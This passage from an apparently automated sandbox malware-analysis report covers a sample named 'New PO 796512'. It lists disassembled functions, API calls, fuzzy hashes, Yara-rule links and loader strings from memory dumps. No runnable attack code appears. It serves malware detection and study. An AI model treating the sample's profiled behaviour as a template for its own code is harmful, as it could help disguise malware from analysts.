                                                                                            • Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
                                                                                            • Instruction Fuzzy Hash: 64E04FB12002046BD714DF59DC45EE777ADEF88754F014559FD0857241C630F910CAF0
                                                                                            Function 0041A790 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 280 41a790-41a7a9 281 41a7af-41a7c4 LookupPrivilegeValueW 280->281 282 41a7aa call 41af20 280->282 283 41a7d6-41a800 call 41af20 281->283 282->281
                                                                                            APIs
                                                                                            • LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1C2,0040F1C2,0000003C,00000000,?,00409D55), ref: 0041A7C0
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_400000_New PO 796512.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: LookupPrivilegeValue
                                                                                            • String ID:
                                                                                            • API String ID: 3899507212-0
                                                                                            • Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
                                                                                            • Instruction ID: b8658252b81b08ed33e4a874e4d8f80b0614426e32f2ee3a7d9107b08e04f012
                                                                                            • Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
                                                                                            • Instruction Fuzzy Hash: 9EE01AB12002086BDB10DF49DC85EE737ADAF88654F018155BA0857241C934E8118BF5
                                                                                            Function 0041A662 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A698
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_400000_New PO 796512.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ExitProcess
                                                                                            • String ID:
                                                                                            • API String ID: 621844428-0
                                                                                            • Opcode ID: ad42d8d2e4fbec9746b7b4df3b44f10415e57d9263c8e8f1d7f67b11f8fdf9fd
                                                                                            • Instruction ID: 5e8e744a108499a1f3b40bc0feb3b21474e8175263231ec25dc4a8de6b2ce7fd
                                                                                            • Opcode Fuzzy Hash: ad42d8d2e4fbec9746b7b4df3b44f10415e57d9263c8e8f1d7f67b11f8fdf9fd
                                                                                            • Instruction Fuzzy Hash: 51E086756442446BD725DB79CC85EDB3B699F0D360F144298F9686B2C3D530EA40C7E1
                                                                                            Function 0041A670 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A698
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_400000_New PO 796512.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ExitProcess
                                                                                            • String ID:
                                                                                            • API String ID: 621844428-0
                                                                                            • Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
                                                                                            • Instruction ID: 94fb8da58e6992106aa2b0ab061ea4c6965e877b66759b154152d16d38dd5c99
                                                                                            • Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
                                                                                            • Instruction Fuzzy Hash: B9D017726002187BD620EB99DC85FD777ACDF487A4F0180AABA1C6B242C531FA108AE1
                                                                                            Function 01392C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitializeThunk
                                                                                            • String ID:
                                                                                            • API String ID: 2994545307-0
                                                                                            • Opcode ID: 5ce7ba760124a321ec70dcecae7d302cc463a48b341a6a694b30ff3fe13bd88b
                                                                                            • Instruction ID: 5395af78034d3f37a12e0fef1ddb81c430bc0ab77c9a0f02c67880c08a012418
                                                                                            • Opcode Fuzzy Hash: 5ce7ba760124a321ec70dcecae7d302cc463a48b341a6a694b30ff3fe13bd88b
                                                                                            • Instruction Fuzzy Hash: 5BB09B71D019C5D5EF11E7A4460C7177900B7D0705F55C061D2030651F4738D1D5E675

                                                                                            Non-executed Functions

                                                                                            Function 013D2349 Relevance: 26.1, Strings: 20, Instructions: 1117COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: @$@$CFGOptions$DisableExceptionChainValidation$DisableHeapLookaside$ExecuteOptions$FrontEndHeapDebugOptions$GlobalFlag$GlobalFlag2$Initializing the application verifier package failed with status 0x%08lx$LdrpInitializeExecutionOptions$MaxDeadActivationContexts$MaxLoaderThreads$MinimumStackCommitInBytes$RaiseExceptionOnPossibleDeadlock$ShutdownFlags$TracingFlags$UnloadEventTraceDepth$UseImpersonatedDeviceMap$minkernel\ntdll\ldrinit.c
                                                                                            • API String ID: 0-2160512332
                                                                                            • Opcode ID: 641094d46b3d64ab10d152c92175cc28738deb9a82257e19cdd7fb5216ea730e
                                                                                            • Instruction ID: 9f8a06dafa9fd72c9029bb406c92d4922da0fbfc1cd18303bc8a6032cb12efbc
                                                                                            • Opcode Fuzzy Hash: 641094d46b3d64ab10d152c92175cc28738deb9a82257e19cdd7fb5216ea730e
                                                                                            • Instruction Fuzzy Hash: 2B928F72604342AFE721DF28D840B6BBBE8BF84758F04492DFA95D7251D770E844CB92
                                                                                            Function 01388620 Relevance: 17.7, Strings: 14, Instructions: 223COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            • Critical section debug info address, xrefs: 013C541F, 013C552E
                                                                                            • undeleted critical section in freed memory, xrefs: 013C542B
                                                                                            • Critical section address, xrefs: 013C5425, 013C54BC, 013C5534
                                                                                            • Invalid debug info address of this critical section, xrefs: 013C54B6
                                                                                            • Address of the debug info found in the active list., xrefs: 013C54AE, 013C54FA
                                                                                            • Critical section address., xrefs: 013C5502
                                                                                            • Thread is in a state in which it cannot own a critical section, xrefs: 013C5543
                                                                                            • corrupted critical section, xrefs: 013C54C2
                                                                                            • 8, xrefs: 013C52E3
                                                                                            • Thread identifier, xrefs: 013C553A
                                                                                            • Initialization stack trace. Use dps to dump it if non-NULL., xrefs: 013C540A, 013C5496, 013C5519
                                                                                            • Second initialization stack trace. Use dps to dump it if non-NULL., xrefs: 013C54CE
                                                                                            • First initialization stack trace. Use dps to dump it if non-NULL., xrefs: 013C54E2
                                                                                            • double initialized or corrupted critical section, xrefs: 013C5508
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: 8$Address of the debug info found in the active list.$Critical section address$Critical section address.$Critical section debug info address$First initialization stack trace. Use dps to dump it if non-NULL.$Initialization stack trace. Use dps to dump it if non-NULL.$Invalid debug info address of this critical section$Second initialization stack trace. Use dps to dump it if non-NULL.$Thread identifier$Thread is in a state in which it cannot own a critical section$corrupted critical section$double initialized or corrupted critical section$undeleted critical section in freed memory
                                                                                            • API String ID: 0-2368682639
                                                                                            • Opcode ID: c985f39605ffcc54ec943bd5dd69ef5f6eac0b0215641a4a8ca9e08daa66afa3
                                                                                            • Instruction ID: 6d8a907ff6724fe912dc5536d2f1aa7374ff53dacd1cecd25207c91fee0eea06
                                                                                            • Opcode Fuzzy Hash: c985f39605ffcc54ec943bd5dd69ef5f6eac0b0215641a4a8ca9e08daa66afa3
                                                                                            • Instruction Fuzzy Hash: 98819AB1A00358EFDB20CF99C841BAEBBB9BB48B28F10425DF505B7750D371A940CB54
                                                                                            Function 013829F9 Relevance: 14.2, Strings: 11, Instructions: 411COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            • SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx, xrefs: 013C2624
                                                                                            • RtlpResolveAssemblyStorageMapEntry, xrefs: 013C261F
                                                                                            • SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx, xrefs: 013C2409
                                                                                            • SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p, xrefs: 013C22E4
                                                                                            • @, xrefs: 013C259B
                                                                                            • SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 013C25EB
                                                                                            • SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx, xrefs: 013C2602
                                                                                            • SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx, xrefs: 013C2498
                                                                                            • SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 013C2506
                                                                                            • SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries, xrefs: 013C24C0
                                                                                            • SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx, xrefs: 013C2412
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: @$RtlpResolveAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx$SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p$SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx$SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx$SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx$SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries
                                                                                            • API String ID: 0-4009184096
                                                                                            • Opcode ID: 38e3cc52612eb4ab68daf509759eac5c686293cf32eab3d21f92d199387494e1
                                                                                            • Instruction ID: 5505e4b41e1a6d3ecdcbc685ade527b20d0543048b31dd270731a8254a0188c3
                                                                                            • Opcode Fuzzy Hash: 38e3cc52612eb4ab68daf509759eac5c686293cf32eab3d21f92d199387494e1
                                                                                            • Instruction Fuzzy Hash: FE0250F5D002299FDF21DB58CC80BEAB7B8AF54718F0441DAE649A7241DB70AE84CF59
                                                                                            Function 013F8B42 Relevance: 12.6, Strings: 10, Instructions: 146COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: DefaultBrowser_NOPUBLISHERID$SegmentHeap$csrss.exe$heapType$http://schemas.microsoft.com/SMI/2020/WindowsSettings$lsass.exe$runtimebroker.exe$services.exe$smss.exe$svchost.exe
                                                                                            • API String ID: 0-2515994595
                                                                                            • Opcode ID: 3bff28b8c2824d8bbd8ae8f90057966d3241bba182d376649013bd0c5ef34249
                                                                                            • Instruction ID: 3c10f28f7ed8a5b643bb6a77e9d75035299f32a7f7c63a8071f83fcf41a79f72
                                                                                            • Opcode Fuzzy Hash: 3bff28b8c2824d8bbd8ae8f90057966d3241bba182d376649013bd0c5ef34249
                                                                                            • Instruction Fuzzy Hash: 5351DE716053169BD729DF198844BABBBECFF94748F14496DFA98C3280E770D608CB92
                                                                                            Function 01400274 Relevance: 10.3, Strings: 8, Instructions: 348COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
                                                                                            • API String ID: 0-1700792311
                                                                                            • Opcode ID: 5091eb0ec06ad2ecacb429eeb0ed7413793b2371357c70d535db404a9a4c1bc9
                                                                                            • Instruction ID: 2067a15501694986da4ef37cb5b0e59d64f8d32cd01d551e1cf33ae9acd17474
                                                                                            • Opcode Fuzzy Hash: 5091eb0ec06ad2ecacb429eeb0ed7413793b2371357c70d535db404a9a4c1bc9
                                                                                            • Instruction Fuzzy Hash: 88D1C135500685EFDB22DFAAC440BAABBF1FF5A754F08806AF4459B3A2C735E941CB14
                                                                                            Function 013D89B3 Relevance: 10.3, Strings: 8, Instructions: 259COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            • P-, xrefs: 013D8A35, 013D8A5F
                                                                                            • VerifierDebug, xrefs: 013D8CA5
                                                                                            • AVRF: -*- final list of providers -*- , xrefs: 013D8B8F
                                                                                            • VerifierDlls, xrefs: 013D8CBD
                                                                                            • AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled, xrefs: 013D8A3D
                                                                                            • HandleTraces, xrefs: 013D8C8F
                                                                                            • AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error., xrefs: 013D8A67
                                                                                            • VerifierFlags, xrefs: 013D8C50
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.$AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled$AVRF: -*- final list of providers -*- $HandleTraces$P-$VerifierDebug$VerifierDlls$VerifierFlags
                                                                                            • API String ID: 0-2917973507
                                                                                            • Opcode ID: d8d54c8b7c5a63e1a73b4fbb6f57acf030b5264f32ee0357115d95752acc68c6
                                                                                            • Instruction ID: 80968dfd0f8d8dc1c4d7e0f2bd5d278536ac784ee4d87bf0d59e1dce759e4303
                                                                                            • Opcode Fuzzy Hash: d8d54c8b7c5a63e1a73b4fbb6f57acf030b5264f32ee0357115d95752acc68c6
                                                                                            • Instruction Fuzzy Hash: E89125B3641716EFEB21EF6CE880B5AB7A8BB5561CF050499FA416F290C730BC01CB95
                                                                                            Function 013863FF Relevance: 9.0, Strings: 7, Instructions: 261COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$P-$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
                                                                                            • API String ID: 0-704120523
                                                                                            • Opcode ID: c7d48e67806fb394b69f6dd5fa9df7cb889ceed6a6cc9da5896fce5b37f3c3fd
                                                                                            • Instruction ID: cd89486a2d6481b4a6661878d16fb15e085e18b44ba02104b0759f0e7fc706a4
                                                                                            • Opcode Fuzzy Hash: c7d48e67806fb394b69f6dd5fa9df7cb889ceed6a6cc9da5896fce5b37f3c3fd
                                                                                            • Instruction Fuzzy Hash: 959102B5B003199BEB25EF5CE856BAE7BA6BF41F2CF10412DE9407B691DB709801C790
                                                                                            Function 0134645D Relevance: 8.9, Strings: 7, Instructions: 150COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$P-$apphelp.dll$minkernel\ntdll\ldrinit.c
                                                                                            • API String ID: 0-33875911
                                                                                            • Opcode ID: d2adf9bfffd769511975ee98e947cd15c52f6173b30e3d182be709f5bf97b45e
                                                                                            • Instruction ID: 1394810b7717e3b9d5204b86707a48afb4a79cff53141ca28abb74760bc211ad
                                                                                            • Opcode Fuzzy Hash: d2adf9bfffd769511975ee98e947cd15c52f6173b30e3d182be709f5bf97b45e
                                                                                            • Instruction Fuzzy Hash: 54519275208305DFE725DF28D851B6B7BE8FF85A4CF40491EF595AB260DA30E904CB92
                                                                                            Function 0135EA80 Relevance: 8.6, Strings: 6, Instructions: 1073COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: $LdrpResSearchResourceInsideDirectory Enter$LdrpResSearchResourceInsideDirectory Exit$R$T${
                                                                                            • API String ID: 0-1109411897
                                                                                            • Opcode ID: 3cd6b1c57364d04dcd66e1b39506a450edcf2cc6c3ff91162c3eb75ab0215627
                                                                                            • Instruction ID: 6c36fa4d0a6db098ee3934c3d307f4e4a19d7d35a84a7bbff9a3c1626d3a57fd
                                                                                            • Opcode Fuzzy Hash: 3cd6b1c57364d04dcd66e1b39506a450edcf2cc6c3ff91162c3eb75ab0215627
                                                                                            • Instruction Fuzzy Hash: ABA26E74A056298FDF64CF18CC88BADBBB5AF45708F1442E9D90EA7651EB349E84CF04
                                                                                            Function 01382674 Relevance: 7.6, Strings: 6, Instructions: 110COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            • SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 013C2178
                                                                                            • SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 013C21BF
                                                                                            • RtlGetAssemblyStorageRoot, xrefs: 013C2160, 013C219A, 013C21BA
                                                                                            • SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 013C2180
                                                                                            • SXS: %s() passed the empty activation context, xrefs: 013C2165
                                                                                            • SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 013C219F
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
                                                                                            • API String ID: 0-861424205
                                                                                            • Opcode ID: 015ab748e143ec37dd5c7bae2df9d1a50e604808a79d531dbed2a75c2564579a
                                                                                            • Instruction ID: 99aeda9a1f48cdb363cfab771eaa7ffd500a179fa1bc5ec67eda0aaed47a8908
                                                                                            • Opcode Fuzzy Hash: 015ab748e143ec37dd5c7bae2df9d1a50e604808a79d531dbed2a75c2564579a
                                                                                            • Instruction Fuzzy Hash: 673135BAB403157BF721AB9A8C85F5B7B78DBE5E5CF05005DFA05AB201D2709E01C3A0
                                                                                            Function 0138C6A6 Relevance: 7.6, Strings: 6, Instructions: 110COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            • LdrpInitializeImportRedirection, xrefs: 013C8177, 013C81EB
                                                                                            • minkernel\ntdll\ldrredirect.c, xrefs: 013C8181, 013C81F5
                                                                                            • minkernel\ntdll\ldrinit.c, xrefs: 0138C6C3
                                                                                            • Loading import redirection DLL: '%wZ', xrefs: 013C8170
                                                                                            • Unable to build import redirection Table, Status = 0x%x, xrefs: 013C81E5
                                                                                            • LdrpInitializeProcess, xrefs: 0138C6C4
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: LdrpInitializeImportRedirection$LdrpInitializeProcess$Loading import redirection DLL: '%wZ'$Unable to build import redirection Table, Status = 0x%x$minkernel\ntdll\ldrinit.c$minkernel\ntdll\ldrredirect.c
                                                                                            • API String ID: 0-475462383
                                                                                            • Opcode ID: 08a920239385dd735428087a7799ccf03fa0b4f39557e84e471692cc629317ac
                                                                                            • Instruction ID: 5fa320fcd91762404b7e0ebc6af3ed360137fa0a194757d5389c1a12e60a7c30
                                                                                            • Opcode Fuzzy Hash: 08a920239385dd735428087a7799ccf03fa0b4f39557e84e471692cc629317ac
                                                                                            • Instruction Fuzzy Hash: 6D3102726443469FD220EF2DD946E1A7BE4EF94F2CF04456CF9806B391E620ED04C7A2
                                                                                            Function 0139096E Relevance: 6.6, APIs: 4, Instructions: 606COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 01392DF0: LdrInitializeThunk.NTDLL ref: 01392DFA
                                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01390BA3
                                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01390BB6
                                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01390D60
                                                                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01390D74
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$InitializeThunk
                                                                                            • String ID:
                                                                                            • API String ID: 1404860816-0
                                                                                            • Opcode ID: 99ef0191f0555aa21ced98d9193978f10dee65e5b6eef578b011fe6c40e8c2a4
                                                                                            • Instruction ID: 24879c7d13ae18b3f7dc5b19969d45d64e548a36e2b2c6918f0dae5dc27e6e69
                                                                                            • Opcode Fuzzy Hash: 99ef0191f0555aa21ced98d9193978f10dee65e5b6eef578b011fe6c40e8c2a4
                                                                                            • Instruction Fuzzy Hash: 17425B75900715DFDF25CF28C880BAAB7F9BF04318F1445A9E999EB241E770AA84CF61
                                                                                            Function 0135A3C0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
                                                                                            • API String ID: 0-379654539
                                                                                            • Opcode ID: c87b9f6f8d82b9c8c4c999042f70d6c9c4520cacc1bf0133df415cd4f17a5610
                                                                                            • Instruction ID: 00f86c61a354c81ba5861caea33194da93359da4034763db44385f176e579eee
                                                                                            • Opcode Fuzzy Hash: c87b9f6f8d82b9c8c4c999042f70d6c9c4520cacc1bf0133df415cd4f17a5610
                                                                                            • Instruction Fuzzy Hash: BEC18AB4108386CFD751CF58C040BAABBE8BF88B0CF044A6AF9959B750E734D949DB56
                                                                                            Function 01388402 Relevance: 5.3, Strings: 4, Instructions: 263COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            • minkernel\ntdll\ldrinit.c, xrefs: 01388421
                                                                                            • \Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 0138855E
                                                                                            • @, xrefs: 01388591
                                                                                            • LdrpInitializeProcess, xrefs: 01388422
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
                                                                                            • API String ID: 0-1918872054
                                                                                            • Opcode ID: e21e635d90e314865fdb254580b7d918a3eef50b2e34c1b546b1ffb8740ab609
                                                                                            • Instruction ID: 14c70c00ace2cf385e95be5dcc18c6fad3235a4cb791e46fa6b4fd44021851bc
                                                                                            • Opcode Fuzzy Hash: e21e635d90e314865fdb254580b7d918a3eef50b2e34c1b546b1ffb8740ab609
                                                                                            • Instruction Fuzzy Hash: CC918F71608345AFDB21EF69CC40EABBAECBF8475CF80496DF68496151E330D904CB62
                                                                                            Function 0138273C Relevance: 5.2, Strings: 4, Instructions: 249COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            • SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 013C22B6
                                                                                            • RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 013C21D9, 013C22B1
                                                                                            • .Local, xrefs: 013828D8
                                                                                            • SXS: %s() passed the empty activation context, xrefs: 013C21DE
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
                                                                                            • API String ID: 0-1239276146
                                                                                            • Opcode ID: 86dd939acd15d939da005f8d77c8a059f3bf9f40c724262b8a7b055d6215b61b
                                                                                            • Instruction ID: 1a1ee300c9b291b85b4cd212b59fcdeb1ce698e78b742d9d8edb1f76480f3968
